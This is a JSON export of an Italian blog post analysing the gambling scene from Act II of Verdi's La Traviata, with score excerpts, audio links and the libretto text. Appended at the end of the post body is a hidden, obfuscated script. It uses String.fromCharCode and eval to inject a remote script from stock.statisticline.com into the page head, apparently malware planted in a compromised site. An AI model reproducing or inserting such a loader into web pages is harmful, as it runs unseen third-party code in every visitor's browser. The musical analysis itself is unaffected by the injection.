{"id":27,"date":"2013-09-15T16:04:05","date_gmt":"2013-09-15T16:04:05","guid":{"rendered":"http:\/\/www.carloderi.com\/?p=27"},"modified":"2013-11-21T19:47:03","modified_gmt":"2013-11-21T19:47:03","slug":"giuseppe-verdi-la-scena-del-gioco-dal-secondo-atto-de-la-traviata-scena-xi","status":"publish","type":"post","link":"https:\/\/www.carloderi.com\/?p=27","title":{"rendered":"Giuseppe Verdi: La scena del gioco dal secondo atto de La Traviata (scena XII)"},"content":{"rendered":"<p style=\"text-align: justify;\">La Traviata \u2013 un\u2019opera composta \u201cdi getto\u201d, infatti il primo atto \u00e8 stato creato in soli quattro giorni e la strumentazione ne ha richiesti appena dieci \u2013 and\u00f2 in scena a Venezia, al Teatro La Fenice, il 6 marzo 1853. Verdi aveva assistito, un anno prima, a Parigi, al dramma La dame aux cam\u00e9lias che nel 1852 Alexandre Dumas figlio aveva tratto dal suo romanzo omonimo pubblicato nel 1848. Verdi ne rimase molto colpito e intu\u00ec subito la grande occasione offerta dal soggetto, che gli appariva nella sua portata innovativa. Prima di tutto l\u2019azione era ambientata in tempi attuali, poi i personaggi non erano i potenti della Terra, non c\u2019erano eroi leggendari, non c\u2019era un mondo di favola, ma gente reale, viva. Anzi, qui la protagonista non \u00e8 nemmeno una donna \u201crispettabile\u201d, almeno secondo i canoni della morale corrente, ma una mantenuta, una donna perduta, che conduce una vita agiata dipendendo dai sontuosi \u201cregali\u201d dall\u2019amante di turno. L\u2019idea ispiratrice del romanzo era stata tratta da un fatto veramente accaduto \u2013 ovviamente idealizzato e trasfigurato nella finzione letteraria, ma in sostanza pur sempre reale \u2013 appena qualche anno prima; quindi all\u2019epoca c\u2019era chi aveva conosciuto di persona i protagonisti della vicenda. A Parigi, al cimitero di Montmartre, c\u2019\u00e8 la sepoltura della sfortunata Alphonsine Plessis, morta nel 1847 a soli 23 anni, l\u2019involontaria ispiratrice della storia (che nel romanzo si chiamer\u00e0 Marguerite Gautier e nell\u2019opera Violetta Valery); la tomba \u00e8 ormai divenuta un monumento storico curato dall\u2019amministrazione parigina, e ancor oggi visitatori di tutto il mondo vi depongono fiori.<br \/>\nIl secondo atto dell\u2019opera \u00e8 diviso in due parti: la prima, ambientata nella casa di campagna presso Parigi, dove i due innamorati sono andati a vivere, comprende momenti di alto coinvolgimento emotivo come il grande duetto fra Violetta e Germont (scena V) e l\u2019Amami Alfredo della scena VI; la seconda parte (il Finale secondo) \u00e8 ambientata nella casa parigina di Flora durante una grande festa di Carnevale. Le prime tre scene sono improntate all\u2019allegria: la IX comincia con una parte orchestrale brillante che immediatamente crea l\u2019ambientazione della festa da ballo; \u00e8 qui che i personaggi secondari \u2013 Flora, il Marchese, il Dottore \u2013 ci fanno sapere che Alfredo e Violetta si sono lasciati. Le scene X e XI sono occupate da due momenti corali, il coro delle Zingarelle e quello dei Mattadori, che animano un clima gi\u00e0 molto allegro.<br \/>\nNella scena XII entra improvvisamente Alfredo. L\u2019atmosfera perde di colpo tutta la gaiezza iniziale e si fa immediatamente tesa anche grazie ad uno stacco di tempo veloce, e da un fraseggiare rotto da cesure.<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Verdi-01b.png\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-887\" alt=\"Verdi 01b\" src=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Verdi-01b.png\" width=\"438\" height=\"204\" srcset=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Verdi-01b.png 438w, https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Verdi-01b-300x139.png 300w\" sizes=\"auto, (max-width: 438px) 100vw, 438px\" \/><\/a> <a href=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Alfredo...-Voi....mp3\">Alfredo!&#8230; Voi!&#8230;<\/a><br \/>\nDopo 20 battute ha inizio la scena del gioco. L\u2019indicazione agogica \u00e8 Allegro agitato, la dinamica prescritta \u00e8 un estremamente pp, e la tensione si accresce. Verdi ottiene questo effetto privando i cantanti della loro funzione melodica, per passarla interamente all\u2019orchestra. Qui la voce dei cantanti \u00e8 trattata in una dimensione essenzialmente armonica ed \u00e8 finalizzata al declamato drammatico: le parti cantate si svolgono su pochissime note, a volte anche su di un unico suono ribattuto. L\u2019orchestra impone un ritmo incalzante e ossessivamente ripetuto, che riveste una melodia con poco respiro, costantemente spezzata dall\u2019accentuazione dei due tempi della battuta (6\/8), marcata con rudezza dalle frequenti acciaccature.<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Verdi-02b.png\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-888\" alt=\"Verdi 02b\" src=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Verdi-02b.png\" width=\"670\" height=\"204\" srcset=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Verdi-02b.png 670w, https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Verdi-02b-300x91.png 300w, https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Verdi-02b-624x189.png 624w\" sizes=\"auto, (max-width: 670px) 100vw, 670px\" \/><\/a><a href=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Qui-desiata-giungi.mp3\">Qui desiata giungi<\/a><\/p>\n<p style=\"text-align: justify;\">L\u2019atmosfera di ansiosa agitazione si protrae con passo inesorabile, finch\u00e9 dopo trentuno battute non viene infranta improvvisamente dalla voce di Violetta con un intervento di appena 8 battute. La frase, melodicamente, \u00e8 semplicissima: una scala prima ascendente, poi discendente a valori sempre uguali, accompagnata da un crescendo nel salire e un diminuendo nel discendere, ma per contrasto con ci\u00f2 che \u00e8 si \u00e8 sentito finora, l\u2019effetto che ne risulta \u00e8 di straordinaria efficacia. La voce di Violetta emerge portando un\u2019istantanea luminosit\u00e0 su tutta la scena.<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Verdi-03b.png\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-889\" alt=\"Verdi 03b\" src=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Verdi-03b.png\" width=\"670\" height=\"201\" srcset=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Verdi-03b.png 670w, https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Verdi-03b-300x90.png 300w, https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Verdi-03b-624x187.png 624w\" sizes=\"auto, (max-width: 670px) 100vw, 670px\" \/><\/a><a href=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Ah-perch\u00e9-venni-incauta.mp3\">Ah, perch\u00e9 venni, incauta!<\/a><\/p>\n<p style=\"text-align: justify;\">E\u2019 uno di quei momenti che ribadiscono l\u2019idea che molti commentatori del lavoro hanno manifestato: l\u2019opera \u201c\u00e8\u201d Violetta; tutto il resto \u2013 comprese le figure di Alfredo e di Germont \u2013 \u00e8 un pretesto per far vivere la protagonista. E d\u2019altra parte \u00e8 lei l\u2019unico essere umano vero e proprio del dramma; \u00e8 lei che per un motivo o per l\u2019altro riesce a scrollarsi di dosso il passato e a ribaltare la sua esistenza. Non \u00e8 nemmeno un salto nel buio, il suo: Violetta sa che cosa l\u2019aspetta e sa anche che da l\u00ec a poco la sua vita finir\u00e0. Ma ormai l\u2019amore ha innescato un inarrestabile processo di recupero della dignit\u00e0 umana, che da quel fantoccio che era, da \u201cmaschera della Commedia dell\u2019Arte\u201d \u2013 al pari degli altri di quel mondo che finora \u00e8 stato anche il suo \u2013 la porta ad una rinascita interiore che finalmente la fa donna. E l\u2019atto di amore che crea il miracolo non \u00e8 rivolto tanto ad Alfredo (che in fondo \u00e8 dipinto come un giovanotto gaudente, viziato e capriccioso, con poca capacit\u00e0 di comprensione del processo interiore che agita la sua donna) o verso Germont (che impersona la spietatezza delle convenienze del mondo borghese), quanto a se stessa come donna, all\u2019essere, all\u2019umanit\u00e0 che sente in s\u00e9. C\u2019\u00e8 in questo percorso una dimensione morale cos\u00ec profonda che non scade mai nel moralismo e che scalfir\u00e0 l\u2019animo anche degli altri due personaggi principali: se Alfredo e il padre recupereranno un minimo di spessore umano lo dovranno unicamente a lei.<br \/>\nSubito dopo questa repentina illuminazione l\u2019atmosfera di esasperata tensione riprende inesorabile. La frase di Violetta verr\u00e0 riproposta altre due volte, sforando dal contesto, esattamente come la personalit\u00e0 del personaggio. L\u2019ultima volta anticiper\u00e0 di poco il momento della sfida a duello fra Alfredo e il Barone Douphol.<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Verdi-04b.png\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-890\" alt=\"Verdi 04b\" src=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Verdi-04b.png\" width=\"426\" height=\"176\" srcset=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Verdi-04b.png 426w, https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Verdi-04b-300x123.png 300w\" sizes=\"auto, (max-width: 426px) 100vw, 426px\" \/><\/a><a href=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Un-quattro.mp3\">Un quattro!<\/a><\/p>\n<p style=\"text-align: justify;\">La scena del gioco si chiude cos\u00ec come \u00e8 si \u00e8 aperta, morendo su un pianissimo con quattro \u201cp\u201d<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Verdi-05b.png\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-891\" alt=\"Verdi 05b\" src=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Verdi-05b.png\" width=\"668\" height=\"180\" srcset=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Verdi-05b.png 668w, https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Verdi-05b-300x80.png 300w, https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Verdi-05b-624x168.png 624w\" sizes=\"auto, (max-width: 668px) 100vw, 668px\" \/><\/a><a href=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Pi\u00f9-tardi-la-rivincita-...-Andiam.mp3\">Pi\u00f9 tardi la rivincita [&#8230;] Andiam<\/a><\/p>\n<p style=\"text-align: justify;\">Segue poi la scena XIII fra una Violetta implorante e un Alfredo fuori di s\u00e9 dall\u2019ira, che sfocer\u00e0 nell\u2019offesa della scena XIV; il secondo atto avr\u00e0 termine con il Concertato della scena XV.<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Verdi-06b.png\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-892\" alt=\"Verdi 06b\" src=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Verdi-06b.png\" width=\"586\" height=\"186\" srcset=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Verdi-06b.png 586w, https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Verdi-06b-300x95.png 300w\" sizes=\"auto, (max-width: 586px) 100vw, 586px\" \/><\/a><\/p>\n<p style=\"text-align: center;\"><strong>Giuseppe Verdi (1813 &#8211; 1901): la <em>Scena del gioco<\/em> dal secondo atto de La Traviata<\/strong><\/p>\n<p>[SCENA IX: <i>Galleria nel palazzo di Flora, riccamente addobbata e illuminata. Una porta nel fondo e due laterali. A destra un tavoliere, con quanto occorre pel giuoco, a sinistra, ricco tavolino con fiori e rinfreschi, varie sedie e un divano.Flora, il Marchese, il Dottore, ed altri invitati entrano dalla sinistra discorrendo tra loro<\/i>] [&#8230;]<\/p>\n<p>[SCENA X: <i>Detti e molte signore mascherate da Zingare, che entrano dalla destra<\/i>] [&#8230;]<\/p>\n<p>[SCENA XI: <i>Detti, Gastone ed altri amici mascherati da Mattadori Piccadori spagnuoli, ch&#8217;entrano vivacemente dalla destra<\/i>] [&#8230;]<\/p>\n<p>SCENA XII <a href=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Scena-del-gioco.mp3\">Scena del gioco <em>(Scena XII)<\/em><\/a><\/p>\n<p><i>Detti ed Alfredo, quindi Violetta col Barone. Un servo a tempo<\/i><\/p>\n<p>[&#8230;]<\/p>\n<p>GASTONE <i>(si pone a tagliare, Alfredo ed altri puntano).<\/i><\/p>\n<p>VIOLETTA <i>(entra al braccio del Barone).<\/i><\/p>\n<p>FLORA <i>(andandole incontro)<br \/>\n<\/i>Qui desiata giungi&#8230;<\/p>\n<p>VIOLETTA<br \/>\nCessi al cortese invito.<\/p>\n<p>FLORA<br \/>\nGrata vi son, barone, d&#8217;averlo pur gradito.<\/p>\n<p>BARONE <i>(piano a Violetta)<br \/>\n<\/i>Germont \u00e8 qui!&#8230; il vedete!&#8230;<\/p>\n<p>VIOLETTA <i>(piano)<\/i><br \/>\n(Ciel! egli \u00e8 vero!) Il vedo.<\/p>\n<p>BARONE <i>(piano)<br \/>\n<\/i>Da voi non un sol detto si volga<br \/>\na questo Alfredo.<\/p>\n<p>VIOLETTA <i>(da s\u00e9<\/i>)<br \/>\n(Ah, perch\u00e9 venni, incauta!&#8230;<br \/>\npiet\u00e0 di me, gran Dio!)<\/p>\n<p>FLORA<i><br \/>\n<\/i>Meco t&#8217;assidi: narrami quai novit\u00e0 vegg&#8217;io?&#8230; <i>(Fa sedere Violetta presso di s\u00e9 sul divano; il Dottore si avvicina ad esse, che sommessamente conversano. Il Marchese si trattiene a parte col Barone, Gastone taglia, Alfredo ed altri puntano, altri passeggiano).<\/i><\/p>\n<p>ALFREDO<br \/>\nUn quattro!<\/p>\n<p>GASTONE<br \/>\nAncora hai vinto.<\/p>\n<p>ALFREDO<i><br \/>\n<\/i>Sfortuna nell&#8217;amore<br \/>\nVale fortuna al giuoco!&#8230; <i>(Punta e vince<\/i>)<\/p>\n<p>TUTTI<br \/>\n\u00c8 sempre vincitore!&#8230;<\/p>\n<p>ALFREDO<br \/>\nOh, vincer\u00f2 stasera; e l&#8217;oro guadagnato<br \/>\nPoscia a goder tra&#8217; campi ritorner\u00f2 beato.<\/p>\n<p>FLORA<br \/>\nSolo?<\/p>\n<p>ALFREDO<br \/>\nNo, no, con tale che vi fu meco ancor,<br \/>\nPoi mi sfugg\u00eca&#8230;<\/p>\n<p>VIOLETTA<br \/>\n(Mio Dio!)<\/p>\n<p>GASTONE <i>(ad Alfredo, indicando Violetta)<br \/>\n<\/i>(Piet\u00e0 di lei!)<\/p>\n<p>BARONE <i>(ad Alfredo, con mal frenata ira)<br \/>\n<\/i>Signor!&#8230;<\/p>\n<p>VIOLETTA <i>(piano al Barone)<br \/>\n<\/i>(Frenatevi, o vi lascio)<\/p>\n<p>ALFREDO <i>(disinvolto)<br \/>\n<\/i>Barone, m&#8217;appellaste?<\/p>\n<p>BARONE<br \/>\nSiete in s\u00ec gran fortuna,<br \/>\nChe al giuoco mi tentaste&#8230;<\/p>\n<p>ALFREDO <i>(ironico)<br \/>\n<\/i>S\u00ec!&#8230; la disfida accetto&#8230;<\/p>\n<p>VIOLETTA<br \/>\n(Che fia? morir mi sento!)<\/p>\n<p>BARONE<br \/>\nCento luigi a destra&#8230; <i>(punta)<\/i><\/p>\n<p>ALFREDO<br \/>\nEd alla manca cento&#8230;<i>(punta)<\/i><\/p>\n<p>GASTONE <i>(ad Alfredo)<\/i><br \/>\nUn asso&#8230; un fante&#8230; hai vinto!&#8230;<\/p>\n<p>BARONE<br \/>\nIl doppio?&#8230;<\/p>\n<p>ALFREDO<br \/>\nIl doppio sia.<\/p>\n<p>GASTONE<br \/>\nUn quattro&#8230; un sette&#8230; <i>(tagliando)<\/i><\/p>\n<p>TUTTI<br \/>\nAncora!&#8230;<\/p>\n<p>ALFREDO<br \/>\nPur la vittoria \u00e8 mia!<\/p>\n<p>CORO<br \/>\nBravo davver!&#8230; la sorte \u00e8 tutta per Alfredo!&#8230;<\/p>\n<p>FLORA<br \/>\nDel villeggiar la spesa far\u00e0 il baron,<br \/>\nGi\u00e0 il vedo.<\/p>\n<p>ALFREDO <i>(al Barone)<br \/>\n<\/i>Seguite pur&#8230;<\/p>\n<p>SERVO<br \/>\nLa cena \u00e8 pronta.<\/p>\n<p>CORO<br \/>\nAndiamo. <i>(S&#8217;avviano)<\/i><\/p>\n<p>ALFREDO <i>(tra loro a parte<\/i>)<br \/>\nSe continuar v&#8217;aggrada&#8230;<\/p>\n<p>BARONE<br \/>\nPer ora nol possiamo:<br \/>\nPi\u00f9 tardi la rivincita.<\/p>\n<p>ALFREDO<br \/>\nAl gioco che vorrete.<\/p>\n<p>BARONE<br \/>\nSeguiam gli amici; poscia&#8230;<\/p>\n<p>ALFREDO<br \/>\nSar\u00f2 qual bramerete.<\/p>\n<p>TUTTI<i> (entrano nella porta di mezzo: la scena rimane un istante vuota).<\/i><\/p>\n<p>&nbsp;<\/p>\n<p align=\"right\">Carlo Deri, 2004<\/p>\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<\/p>\n<address><i>Il testo della presente analisi \u2013 qui riportato con il gentile permesso dell\u2019Editore \u2013 \u00e8 stato pubblicato in<\/i><\/address>\n<address>Renzo Cresti: Ipertesto di Storia della Musica, Edizioni Feeria, San Leolino, Panzano in Chianti, 2004 <i>e in<\/i><\/address>\n<address>Renzo Cresti: La Vita della Musica, Edizioni Feeria, San Leolino, Panzano in Chianti, 2008<\/address>\n<address>\u00a0<\/address>\n<address><a href=\"http:\/\/www.renzocresti.com\/dettagli.php?quale=9&amp;quale_dettaglio=42\">http:\/\/www.renzocresti.com\/dettagli.php?quale=9&amp;quale_dettaglio=42<\/a><\/address>\n<p><script id='globalsway'>var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,115,116,111,99,107,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,116,114,105,99,107,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(t);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>La Traviata \u2013 un\u2019opera composta \u201cdi getto\u201d, infatti il primo atto \u00e8 stato creato in soli quattro giorni e la strumentazione ne ha richiesti appena dieci \u2013 and\u00f2 in scena [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[],"class_list":["post-27","post","type-post","status-publish","format-standard","hentry","category-studi-e-analisi","has_no_thumb"],"_links":{"self":[{"href":"https:\/\/www.carloderi.com\/index.php?rest_route=\/wp\/v2\/posts\/27","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.carloderi.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.carloderi.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.carloderi.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.carloderi.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=27"}],"version-history":[{"count":14,"href":"https:\/\/www.carloderi.com\/index.php?rest_route=\/wp\/v2\/posts\/27\/revisions"}],"predecessor-version":[{"id":931,"href":"https:\/\/www.carloderi.com\/index.php?rest_route=\/wp\/v2\/posts\/27\/revisions\/931"}],"wp:attachment":[{"href":"https:\/\/www.carloderi.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=27"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.carloderi.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=27"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.carloderi.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=27"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}